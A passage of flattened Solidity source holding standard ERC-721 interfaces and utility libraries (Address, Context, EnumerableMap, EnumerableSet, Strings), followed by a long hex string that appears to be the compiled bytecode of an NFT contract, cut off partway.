transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x6080604052600436106102255760003560e01c806374df39c911610123578063b88d4fde116100ab578063e36d64981161006f578063e36d649814611162578063e67bf6e41461118d578063e83b21e6146111b8578063e985e9c5146111e3578063f2fde38b1461126a57610225565b8063b88d4fde14610e4e578063bc28d70214610f60578063c39cbef114610fb1578063c87b56dd14611083578063cb774d471461113757610225565b8063946807fd116100f2578063946807fd14610c2d57806395d89b4114610c58578063961274b014610ce85780639ffdb65a14610d13578063a22cb46514610df157610225565b806374df39c914610a665780638da5cb5b14610a7d57806392d7cce314610abe5780639416b42314610aec57610225565b806338c8b96d116101b15780636352211e116101755780636352211e146108415780636c0360eb146108a65780636d5224181461093657806370a08231146109ea578063715018a614610a4f57610225565b806338c8b96d1461060857806339a0c6f9146106985780633ccfd60b1461076057806342842e0e146107775780634f6ccce7146107f257610225565b806315b56d10116101f857806315b56d10146103ea57806318160ddd146104c857806318e20a38146104f357806323b872dd1461051e5780632f745c591461059957610225565b806301ffc9a71461022a57806306fdde031461029a578063081812fc1461032a578063095ea7b31461038f575b600080fd5b34801561023657600080fd5b506102826004803603602081101561024d57600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506112bb565b60405180821515815260200191505060405180910390f35b3480156102a657600080fd5b506102af611322565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ef5780820151818401526020810190506102d4565b50505050905090810190601f16801561031c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033657600080fd5b506103636004803603602081101561034d57600080fd5b81019080803590602001909291905050506113c4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039b57600080fd5b506103e8600480360360408110156103b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061145f565b005b3480156103f657600080fd5b506104b06004803603602081101561040d57600080fd5b810190808035906020019064010000000081111561042a57600080fd5b82018360208201111561043c57600080fd5b8035906020019184600183028401116401000000008311171561045e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506115a3565b60405180821515815260200191505060405180910390f35b3480156104d457600080fd5b506104dd61162b565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b5061050861163c565b6040518082815260200191505060405180910390f35b34801561052a57600080fd5b506105976004803603606081101561054157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611649565b005b3480156105a557600080fd5b506105f2600480360360408110156105bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116bf565b6040518082815260200191505060405180910390f35b34801561061457600080fd5b5061061d61171a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a457600080fd5b5061075e600480360360208110156106bb57600080fd5b81019080803590602001906401000000008111156106d857600080fd5b8201836020820111156106ea57600080fd5b8035906020019184600183028401116401000000008311171561070c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611736565b005b34801561076c57600080fd5b506107756117f1565b005b34801561078357600080fd5b506107f06004803603606081101561079a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118ef565b005b3480156107fe57600080fd5b5061082b6004803603602081101561081557600080fd5b810190808035906020019092919050505061190f565b6040518082815260200191505060405180910390f35b34801561084d57600080fd5b5061087a6004803603602081101561086457600080fd5b8101908080359060200190929190505050611932565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108b257600080fd5b506108bb611969565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108fb5780820151818401526020810190506108e0565b50505050905090810190601f1680156109285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561094257600080fd5b5061096f6004803603602081101561095957600080fd5b8101908080359060200190929190505050611a0b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109af578082015181840152602081019050610994565b50505050905090810190601f1680156109dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109f657600080fd5b50610a3960048036036020811015610a0d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ac0565b6040518082815260200191505060405180910390f35b348015610a5b57600080fd5b50610a64611b95565b005b348015610a7257600080fd5b50610a7b611d05565b005b348015610a8957600080fd5b50610a92611e5d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610aea60048036036020811015610ad457600080fd5b8101908080359060200190929190505050611e87565b005b348015610af857600080fd5b50610bb260048036036020811015610b0f57600080fd5b8101908080359060200190640100000000811115610b2c57600080fd5b820183602082011115610b3e57600080fd5b80359060200191846001830284011164010000000083111715610b6057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061215a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bf2578082015181840152602081019050610bd7565b50505050905090810190601f168015610c1f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c3957600080fd5b50610c426122d6565b6040518082815260200191505060405180910390f35b348015610c6457600080fd5b50610c6d6122de565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610cad578082015181840152602081019050610c92565b50505050905090810190601f168015610cda5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cf457600080fd5b50610cfd612380565b6040518082815260200191505060405180910390f35b348015610d1f57600080fd5b50610dd960048036036020811015610d3657600080fd5b8101908080359060200190640100000000811115610d5357600080fd5b820183602082011115610d6557600080fd5b80359060200191846001830284011164010000000083111715610d8757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612510565b60405180821515815260200191505060405180910390f35b348015610dfd57600080fd5b50610e4c60048036036040811015610e1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612818565b005b348015610e5a57600080fd5b50610f5e60048036036080811015610e7157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610ed857600080fd5b820183602082011115610eea57600080fd5b80359060200191846001830284011164010000000083111715610f0c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506129ce565b005b348015610f6c57600080fd5b50610f9960048036036020811015610f8357600080fd5b8101908080359060200190929190505050612a46565b60405180821515815260200191505060405180910390f35b348015610fbd57600080fd5b5061108160048036036040811015610fd457600080fd5b810190808035906020019092919080359060200190640100000000811115610ffb57600080fd5b82018360208201111561100d57600080fd5b8035906020019184600183028401116401000000008311171561102f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612a70565b005b34801561108f57600080fd5b506110bc600480360360208110156110a657600080fd5b8101908080359060200190929190505050612f92565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110fc5780820151818401526020810190506110e1565b50505050905090810190601f1680156111295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561114357600080fd5b5061114c613263565b6040518082815260200191505060405180910390f35b34801561116e57600080fd5b50611177613269565b6040518082815260200191505060405180910390f35b34801561119957600080fd5b506111a261326f565b6040518082815260200191505060405180910390f35b3480156111c457600080fd5b506111cd613343565b6040518082815260200191505060405180910390f35b3480156111ef57600080fd5b506112526004803603604081101561120657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613349565b60405180821515815260200191505060405180910390f35b34801561127657600080fd5b506112b96004803603602081101561128d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133dd565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ba5780601f1061138f576101008083540402835291602001916113ba565b820191906000526020600020905b81548152906001019060200180831161139d57829003601f168201915b5050505050905090565b60006113cf826135d2565b611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614e28602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061146a82611932565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e